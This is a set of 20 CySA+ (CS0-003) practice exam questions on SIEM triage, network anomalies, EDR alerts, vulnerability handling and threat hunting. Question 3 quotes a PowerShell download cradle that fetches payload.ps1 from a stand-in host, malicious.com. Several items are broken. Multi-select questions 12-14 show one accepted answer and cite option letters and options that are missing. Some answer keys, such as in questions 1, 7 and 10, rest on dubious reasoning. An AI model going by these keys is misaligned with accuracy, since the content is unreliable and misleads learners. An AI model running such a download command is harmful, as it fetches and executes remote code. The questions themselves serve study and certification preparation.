CS0-003 Security Operations — 100 Questions

Question 1

A security analyst is reviewing a SIEM alert that triggered on a single failed login attempt from an internal IP address to a domain controller at 3:00 AM. The user associated with the account is on vacation. Which classification best describes this alert?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

True positive. The alert is triggered by a real failed login attempt from an internal IP, but the user is on vacation, so it likely indicates a malicious attempt. Since it is a confirmed security incident, it is a true positive.

Answer

False positive

Answer

False negative

Answer

True negative

Question 2

During a traffic analysis, a security analyst observes repeated outbound connections from an internal workstation to an external IP address on TCP port 53 at irregular intervals. The connections are small and occur every few minutes. Which technique is most likely being used?

Accepted Answer

DNS tunneling. DNS normally uses UDP, but TCP port 53 can be used for DNS tunneling. The small, irregular connections to a single external IP suggest data exfiltration via DNS tunneling.

Answer

HTTP smuggling

Answer

TCP handshake anomaly

Answer

Beaconing

Question 3

An analyst is investigating an EDR alert showing that 'powershell.exe' was launched by 'winword.exe' with the command: 'powershell -Command Invoke-WebRequest -Uri http://malicious.com/payload.ps1 -OutFile C:\Users\Public\payload.ps1'. Which LOLBin technique is being observed?

Accepted Answer

PowerShell download cradle. The attack chain involves a Microsoft Office document (winword.exe) launching PowerShell to download a payload. This is a classic LOLBin technique using PowerShell for code execution and download cradles.

Answer

WMI persistence

Answer

Scheduled task creation

Answer

DLL side-loading

Question 4

A vulnerability scan report shows a critical vulnerability with a CVSS score of 9.8 on an internal web server. The server is not internet-facing and is protected by a compensating control: a web application firewall (WAF) that blocks the attack vector. What should the analyst recommend?

Accepted Answer

Document the compensating control and reduce the risk rating. The vulnerability has a high CVSS score, but the compensating control (WAF) reduces the risk. The analyst should document the control and adjust the risk rating rather than patching immediately if patching would cause downtime.

Answer

Schedule an immediate emergency patch

Answer

Remove the WAF to ensure the vulnerability is addressed

Answer

Ignore the finding because it is a false positive

Question 5

A security analyst notices a high number of alerts from a new detection rule that triggers on 'any outbound connection to a known malicious IP'. After investigation, the analyst finds that the IP address is from a threat intelligence feed but the connections are actually from a legitimate security scanner that was recently deployed. How should the analyst handle this?

Accepted Answer

Add the scanner's IP to an allowlist in the rule. The alerts are false positives because the traffic is legitimate. The analyst should tune the rule to exclude the scanner's source IP addresses.

Answer

Disable the rule permanently

Answer

Report the scanner as compromised

Answer

Increase the severity of the rule

Question 6

An analyst is reviewing NetFlow data and notices a large amount of data being transferred from an internal database server to an external IP address on port 443 during non-business hours. The database server is not expected to initiate outbound connections. Which type of activity is most likely occurring?

Accepted Answer

Data exfiltration. The data transfer is large, to an external IP, on an encrypted port, outside business hours, and from a server that shouldn't initiate outbound connections. This strongly suggests data exfiltration.

Answer

Domain generation algorithm (DGA)

Answer

Lateral movement

Answer

Normal backup activity

Question 7

During a memory analysis of a compromised host, an analyst finds that 'svchost.exe' is running from 'C:\Users\Public\svchost.exe' instead of 'C:\Windows\System32\svchost.exe'. The process has injected code into a legitimate 'explorer.exe' process. What technique is being observed?

Accepted Answer

DLL injection. The scenario describes a malicious 'svchost.exe' running from a user-writable location, which is a masquerading technique. The injection of code into a legitimate 'explorer.exe' process is a classic DLL injection attack, where a malicious DLL is loaded into a target process. Process hollowing would require replacing the memory of a legitimate process, not injecting into a running one.

Answer

WMI persistence

Answer

Process hollowing

Answer

DLL side-loading

Question 8

A security analyst is configuring a vulnerability scanner for internal infrastructure. Management wants to minimize disruption to critical systems while ensuring accurate results. Which scan configuration should the analyst recommend?

Accepted Answer

Credentialed agent-based scans during off-peak hours. Credentialed scans provide more accurate results by accessing the system deeply, but they can cause load. Agent-based scans reduce network load and allow scheduling, minimizing disruption.

Answer

Non-credentialed scans during business hours

Answer

External scans only

Answer

Continuous non-credentialed scans

Question 9

A threat hunter is creating a hypothesis based on the MITRE ATT&CK framework. The hunter wants to detect adversaries using PowerShell to download files from remote servers. Which ATT&CK technique should the hunter focus on?

Accepted Answer

T1059.001 (PowerShell). T1059.001 is PowerShell, which is commonly used for file downloads. The hunter should create detection rules for PowerShell download cradles.

Answer

T1078 (Valid Accounts)

Answer

T1053.005 (Scheduled Task)

Answer

T1047 (WMI)

Question 10

An analyst is reviewing logs from multiple sources and sees that a user logged into a workstation at 8:00 AM, then the same user logged into a server in a different building at 8:01 AM. The authentication logs show the same source IP for both logins. What should the analyst suspect?

Accepted Answer

A pass-the-hash attack. It's physically impossible to travel between buildings in one minute. The same source IP suggests a possible pass-the-hash or credential relay attack from the workstation to the server.

Answer

Normal behavior for an administrator

Answer

A user with superhuman speed

Answer

A false positive due to time synchronization issues

Question 11

A security analyst is creating a correlation rule in the SIEM to detect DGA (Domain Generation Algorithm) activity. Which of the following data points would be most useful to include in the rule?

Accepted Answer

High number of DNS queries to domains with high entropy and frequent NXDOMAIN responses. DGA domains are algorithmically generated and often have high entropy, frequent NXDOMAIN responses (because the domain may not yet be registered), and are rarely seen in the environment.

Answer

Multiple successful connections to a single external IP

Answer

Large data transfers over HTTPS

Answer

Unusual parent-child process relationships

Question 12

A security analyst is investigating a potential data exfiltration incident. The analyst observes the following network traffic from an internal host: Outbound connections to an external IP on port 22, large data transfers during off-hours, and the use of SCP. Which two indicators of compromise (IOCs) are most relevant? (Select TWO.)

Accepted Answer

Large outbound data transfers during off-hours. Large outbound data transfers during off-hours (C) are a classic indicator of data exfiltration, as attackers often move data when activity is less likely to be noticed. The use of SCP on port 22 (D) is also a strong IOC because SCP is commonly used by attackers to copy files over SSH, and outbound SSH on port 22 to an external IP further supports the exfiltration scenario.

Answer

Frequent DNS queries

Answer

HTTP POST requests

Answer

ICMP echo requests

Question 13

A security analyst is conducting a proactive threat hunt for lateral movement techniques. The analyst examines EDR data for unusual parent-child process relationships. Which three process chains are indicative of lateral movement? (Select THREE.)

Accepted Answer

svchost.exe spawning schtasks.exe. Lateral movement often involves remote execution tools such as PsExec (services.exe spawning cmd.exe, option C), WMI (wmiprvse.exe spawning cmd.exe, option D), and scheduled tasks (svchost.exe spawning schtasks.exe, option A). Rundll32.exe spawning powershell.exe (E) is not a typical lateral movement technique, and cmd.exe from explorer.exe (B) is normal user activity.

Answer

explorer.exe spawning cmd.exe

Answer

rundll32.exe spawning powershell.exe

Question 14

A security team is tuning a SIEM rule that alerts on all outbound connections to IP addresses classified as 'high risk' by threat intelligence. The rule generates many false positives because some legitimate services use these IPs. Which two actions should the analyst take to reduce false positives? (Select TWO.)

Accepted Answer

Increase the risk score threshold to only alert on very high risk IPs. Increasing the risk score threshold (option B) reduces alerts to only very high risk IPs, filtering out lower-risk false positives. Adding known legitimate IPs to an exclusion list (option D) prevents alerts for those addresses. Both actions preserve detection of actual threats. Ignoring false positives (A) is not proper tuning, expanding to all risky IPs (C) would increase false positives, and disabling the rule (E) removes detection entirely.

Answer

Ignore the false positives and continue

Answer

Expand the rule to include all risky IPs

Answer

Disable the rule

Question 15

A security analyst reviews a SIEM alert that fired when a user successfully logged into a server from a remote IP address at 3 AM. The user is a system administrator who often works late. What is the most appropriate initial classification of this alert?

Accepted Answer

False positive. True positives are alerts that correctly identify malicious activity. In this case, the login is legitimate for the administrator's work pattern, making it a false positive.

Answer

True positive

Answer

True negative

Answer

False negative

Question 16

During a network traffic analysis, a security analyst observes repeated connections from an internal host to an external IP address on TCP port 53. The traffic volume is low but consistent. What type of anomaly is most likely indicated?

Accepted Answer

Data exfiltration via DNS tunneling. DNS tunneling often uses port 53 to exfiltrate data by encoding it in DNS queries. The consistent low-volume traffic to a single external IP suggests covert communication.

Answer

Lateral movement using SMB

Answer

Port scan activity from an internal host

Answer

Beaconing to a command-and-control server

Question 17

A security analyst is triaging an alert from the EDR that shows the process 'powershell.exe' with a parent process of 'winword.exe'. The user recently opened a document from an email. What is the most likely explanation?

Accepted Answer

The document contains a malicious macro that spawned PowerShell to execute commands. This is a classic sign of a macro-based attack where a malicious document spawns PowerShell to execute payloads.

Answer

The user double-clicked a PowerShell script attached to the email

Answer

A scheduled task started PowerShell that initiated Word

Answer

The user is running a legitimate PowerShell script from within a Word document

Question 18

A vulnerability scan report shows a critical vulnerability with a CVSS score of 10.0. The application team states that the affected service is isolated in a DMZ and has no access to sensitive data. What should the analyst consider?

Accepted Answer

Accept the risk based on compensating controls. Compensating controls like network isolation can reduce the risk even if the vulnerability itself is critical.

Answer

Reclassify the vulnerability as low severity

Answer

Immediately patch the vulnerability

Answer

Ignore the finding as a false positive

Question 19

A threat intelligence report indicates that a known APT group is using 'regsvr32.exe' to execute malicious code. Which detection rule type would be most effective in identifying this technique across multiple endpoints?

Accepted Answer

Sigma rule. Sigma rules are designed for log detection across SIEMs, making them suitable for detecting specific command-line patterns like regsvr32 execution.

Answer

Snort rule

Answer

YARA rule

Answer

Suricata rule

Question 20

An analyst examines a memory dump from a compromised host and finds that 'svchost.exe' is executing code from a memory region that is not backed by any executable file. What technique is most likely being used?

Accepted Answer

Process hollowing. Hollowing involves replacing a legitimate process's memory with malicious code, leaving no corresponding file on disk.

Answer

Reflective DLL injection

Answer

API hooking

Answer

DLL injection